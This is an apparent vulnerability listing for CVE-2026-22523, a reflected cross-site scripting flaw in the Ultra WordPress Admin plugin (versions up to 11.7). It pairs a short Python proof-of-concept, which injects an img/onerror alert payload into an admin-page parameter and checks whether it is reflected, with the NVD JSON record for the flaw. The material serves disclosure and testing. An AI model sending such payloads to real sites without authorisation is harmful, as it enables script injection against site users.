CVE-2026-22523

import requests # Target configuration target_host = "http://target-wordpress-site.com" vulnerable_endpoint = "/wp-admin/admin.php?page=ultra_admin_settings" # Malicious payload to demonstrate XSS xss_payload = "<img src=x onerror=alert('CVE-2026-22523')>" # Construct the attack URL attack_url = f"{target_host}{vulnerable_endpoint}&param={xss_payload}" print(f"Testing URL: {attack_url}") try: response = requests.get(attack_url) # Check if the payload is reflected unescaped in the response if xss_payload in response.text: print("[+] Vulnerability Confirmed: Reflected XSS detected.") else: print("[-] Vulnerability not detected or payload filtered.") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-22523", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:34.363", "lastModified": "2026-04-24T16:32:53.997", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in themepassion Ultra WordPress Admin ultra-admin allows Reflected XSS.This issue affects Ultra WordPress Admin: from n/a through <= 11.7."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en themepassion Ultra WordPress Admin ultra-admin permite XSS Reflejado. Este problema afecta a Ultra WordPress Admin: desde n/a hasta &lt;= 11.7."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/ultra-admin/vulnerability/wordpress-ultra-wordpress-admin-plugin-11-7-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}